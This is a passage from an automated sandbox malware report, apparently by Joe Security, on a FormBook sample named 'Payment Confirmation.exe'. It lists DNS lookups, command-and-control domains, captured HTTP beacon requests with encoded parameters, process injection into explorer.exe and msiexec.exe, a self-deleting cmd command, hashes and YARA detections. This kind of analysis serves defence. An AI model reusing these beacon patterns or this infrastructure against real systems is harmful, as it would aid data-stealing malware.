.com.txwlc
dn13.com

pflvcllbpf.bigbackbone.co
m

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:33:17.104530096 
CEST

8.8.8.8 192.168.2.6 0xc659 No error (0) pflvcllbpf
.bigbackbo
ne.com

pflvcllbpf.hellomyai.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:33:17.104530096 
CEST

8.8.8.8 192.168.2.6 0xc659 No error (0) pflvcllbpf
.hellomyai.com

134.122.133.171 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.playstarexch.com

            
www.anadolu.academy

            
www.altitudebc.com

            
www.unasolucioendesa.com

            
www.elliotpioneer.com

            
www.thesewhitevvalls.com

            
www.lumberjackguitarloops.com

            
www.carts-amazon.com

            
www.chinaopedia.com

            
www.atp-cayenne.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49796 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:21.629479885 CEST

2211 OUT GET /b2c0/?nZR4=4hr8Pfz&EN9pK2=F+Gco1RpPHjV7dNAzyydjUzXzSLtfZhJDs/JobGsDdyJLAnfgLPEsB5vVRH
dlMy1JFBV4EP6qw== HTTP/1.1
Host: www.playstarexch.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

HTTP Request Dependency Graph

HTTP Packets
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Oct 13, 2021 
16:32:21.743197918 CEST

2309 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Wed, 13 Oct 2021 14:32:21 GMT
Content-Type: text/html
Content-Length: 275
ETag: "615f93b1-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49797 94.73.147.156 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:26.828304052 CEST

4898 OUT GET /b2c0/?EN9pK2=oisE9+VmZgmAkkrchIKqNWGyfJvkxHxTzu9sANYqnymeIWLgjiN74zWNndmykH/eOqLqSG+t
xg==&nZR4=4hr8Pfz HTTP/1.1
Host: www.anadolu.academy
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:32:26.878040075 CEST

4900 IN HTTP/1.1 404 Not Found
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 1237
Date: Wed, 13 Oct 2021 14:32:26 GMT
Server: LiteSpeed
Vary: User-Agent
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 
31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 
46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72
3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 
41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 
30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 
3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3
c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 
30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 
75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 
73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 
68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 
3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 
20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 
20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 
72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 
23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 
64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 
65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 
31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 
20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 
30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 
22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 
6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 
2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 
3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 
Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, 
initial-scale=1, shrink-to-fit=no" ><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 
14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; ">     
<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">        <h1 style
="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">
Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; 
font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;
background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br
>Proudly powered by  <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a>
<p>Please be a

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.6 49803 3.223.115.185 80 C:\Windows\explorer.exe

Copyright Joe Security LLC 2021 Page 21 of 28



Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:32.133338928 CEST

4962 OUT GET /b2c0/?nZR4=4hr8Pfz&EN9pK2=Tgem/L35NV+dfrLXgk9e0bf+TOX6XAT/DQQ171WvvWAafG5cKA0QEsXJDfp
FnN+dx51z362pVQ== HTTP/1.1
Host: www.altitudebc.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:32:32.270781994 CEST

4987 IN HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: https://www.hugedomains.com/domain_profile.cfm?d=altitudebc&e=com
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Wed, 13 Oct 2021 14:31:35 GMT
Connection: close
Content-Length: 186
Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 
6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 
20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 75 67 65 64 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 
6e 5f 70 72 6f 66 69 6c 65 2e 63 66 6d 3f 64 3d 61 6c 74 69 74 75 64 65 62 63 26 61 6d 70 3b 65 3d 63 6f 6d 22 3e 68 65 
72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.huged
omains.com/domain_profile.cfm?d=altitudebc&amp;e=com">here</a>.</h2></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.6 49804 82.98.134.154 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:37.462970972 CEST

5528 OUT GET /b2c0/?EN9pK2=nxasyuVnQv2XAhCx9zKAxU4oBW67ilDivwaG6+ZxC2XBQxj4p4XVuU/9/EEmkzFjfVH8yNww
+g==&nZR4=4hr8Pfz HTTP/1.1
Host: www.unasolucioendesa.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:32:37.501957893 CEST

5529 IN HTTP/1.1 301 Moved Permanently
Date: Wed, 13 Oct 2021 14:32:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Location: https://www.unasolucioendesa.com/b2c0/?EN9pK2=nxasyuVnQv2XAhCx9zKAxU4oBW67ilDivwaG6+ZxC2XB
Qxj4p4XVuU/9/EEmkzFjfVH8yNww+g==&nZR4=4hr8Pfz
Server: HTTPd

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.6 49809 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:42.570636034 CEST

5539 OUT GET /b2c0/?nZR4=4hr8Pfz&EN9pK2=/Ci6lA1wHDq9VFgkYzq6dZWl1lKVRbc/m6zzwdji+NobEq0OLQXkZXfSz/G
KNzBGFBcC52wWgA== HTTP/1.1
Host: www.elliotpioneer.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:32:42.685873032 CEST

5540 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Wed, 13 Oct 2021 14:32:42 GMT
Content-Type: text/html
Content-Length: 275
ETag: "615f93b1-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.6 49810 172.105.103.207 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:48.382261992 CEST

5541 OUT GET /b2c0/?EN9pK2=Rsl6eVz8IBrCXPhLu4YLklwV2F0wFlRiIbasvGTIitkrxs2ugDluNYG7ptidipeQIllJsRrQVw==&nZR4=
4hr8Pfz HTTP/1.1
Host: www.thesewhitevvalls.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.6 49822 52.206.159.80 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:32:54.093128920 CEST

5578 OUT GET /b2c0/?nZR4=4hr8Pfz&EN9pK2=Evx8EsBGe658r9iJtrgJltnDGszJP9p4seEC1w1oB9OxckrwwA+TpfgbJDc
WmrfnS5cDyGsxIQ== HTTP/1.1
Host: www.lumberjackguitarloops.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:32:54.231038094 CEST

5581 IN HTTP/1.1 301 Moved Permanently
Content-length: 0
Location: https://www.lumberjackguitarloops.com/b2c0/?nZR4=4hr8Pfz&EN9pK2=Evx8EsBGe658r9iJtrgJltnDGs
zJP9p4seEC1w1oB9OxckrwwA+TpfgbJDcWmrfnS5cDyGsxIQ==
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.6 49840 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:33:00.285758972 CEST

5620 OUT GET /b2c0/?EN9pK2=HN6lmWAsN4eOR9yN7lRwrlIaFZSjtluPDfuHRsVFTQ6SUbSrxCD+Omdw+9AgIy4ohKSIyg89
VQ==&nZR4=4hr8Pfz HTTP/1.1
Host: www.carts-amazon.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
16:33:00.400927067 CEST

5620 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Wed, 13 Oct 2021 14:33:00 GMT
Content-Type: text/html
Content-Length: 275
ETag: "615f93b1-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.6 49841 45.91.80.182 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:33:05.709494114 CEST

5621 OUT GET /b2c0/?nZR4=4hr8Pfz&EN9pK2=qdiIlJa1sa0FYbjdkssa7+Uw/DbrhXlci2BZlXFuRXTISdQByqYUnROnYc6
02mbs2qASatieoQ== HTTP/1.1
Host: www.chinaopedia.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Oct 13, 2021 
16:33:06.303915977 CEST

5622 IN HTTP/1.1 200 OK
Server: nginx
Date: Wed, 13 Oct 2021 14:33:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Set-Cookie: security_session_verify=e3f107f1b9aaa89fb44b8d647caca7b2; expires=Sat, 16-Oct-21 22:33:05 GMT; path=/; 
HttpOnly
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.6 49842 62.210.5.81 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
16:33:11.330621958 CEST

5623 OUT GET /b2c0/?EN9pK2=ESINuQxl50fq+oqp7R8PJEZRcvMrOgZYniX8ZAjuMgliJzJjCEYTKkgZH+GsrKs/YLP3GwXW
aQ==&nZR4=4hr8Pfz HTTP/1.1
Host: www.atp-cayenne.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Start time: 16:31:11

Start date: 13/10/2021

Path: C:\Users\user\Desktop\Payment Confirmation.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Payment Confirmation.exe' 

Imagebase: 0x400000

File size: 455901 bytes

MD5 hash: 98FFC3C812E6CEC919EBD286973E2002

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: Payment Confirmation.exe PID: 2244 Parent PID: 2408Analysis Process: Payment Confirmation.exe PID: 2244 Parent PID: 2408

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.366975255.0000000002320000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.366975255.0000000002320000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.366975255.0000000002320000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 16:31:13

Start date: 13/10/2021

Path: C:\Users\user\Desktop\Payment Confirmation.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Payment Confirmation.exe' 

Imagebase: 0x400000

File size: 455901 bytes

MD5 hash: 98FFC3C812E6CEC919EBD286973E2002

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000001.366443083.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000001.366443083.0000000000400000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000001.366443083.0000000000400000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.437063971.00000000008E0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.437063971.00000000008E0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.437063971.00000000008E0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.436642337.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.436642337.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.436642337.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.437002707.00000000008B0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.437002707.00000000008B0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.437002707.00000000008B0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: Payment Confirmation.exe PID: 5440 Parent PID: 2244Analysis Process: Payment Confirmation.exe PID: 5440 Parent PID: 2244

General
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File ActivitiesFile Activities

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:31:17

Start date: 13/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6f22f0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000000.420104693.000000000DD52000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000000.420104693.000000000DD52000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000000.420104693.000000000DD52000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000000.403569789.000000000DD52000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000000.403569789.000000000DD52000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000000.403569789.000000000DD52000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 16:31:43

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\msiexec.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\msiexec.exe

Imagebase: 0x9b0000

File size: 59904 bytes

MD5 hash: 12C17B5A5C2A7B97342C362CA467E9A2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File ReadFile Read

Analysis Process: explorer.exe PID: 3440 Parent PID: 5440Analysis Process: explorer.exe PID: 3440 Parent PID: 5440

General

Analysis Process: msiexec.exe PID: 1516 Parent PID: 3440Analysis Process: msiexec.exe PID: 1516 Parent PID: 3440

General
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Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000B.00000002.625496458.0000000000670000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000B.00000002.625496458.0000000000670000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000B.00000002.625496458.0000000000670000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000B.00000002.625316448.0000000000450000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000B.00000002.625316448.0000000000450000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000B.00000002.625316448.0000000000450000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000B.00000002.625629536.00000000006A0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000B.00000002.625629536.00000000006A0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000B.00000002.625629536.00000000006A0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:31:49

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\Payment Confirmation.exe'

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 16:31:49

Start date: 13/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

File ReadFile Read

Analysis Process: cmd.exe PID: 4852 Parent PID: 1516Analysis Process: cmd.exe PID: 4852 Parent PID: 1516

General

Analysis Process: conhost.exe PID: 3800 Parent PID: 4852Analysis Process: conhost.exe PID: 3800 Parent PID: 4852

General
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Disassembly

Code Analysis
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Has administrator privileges: true

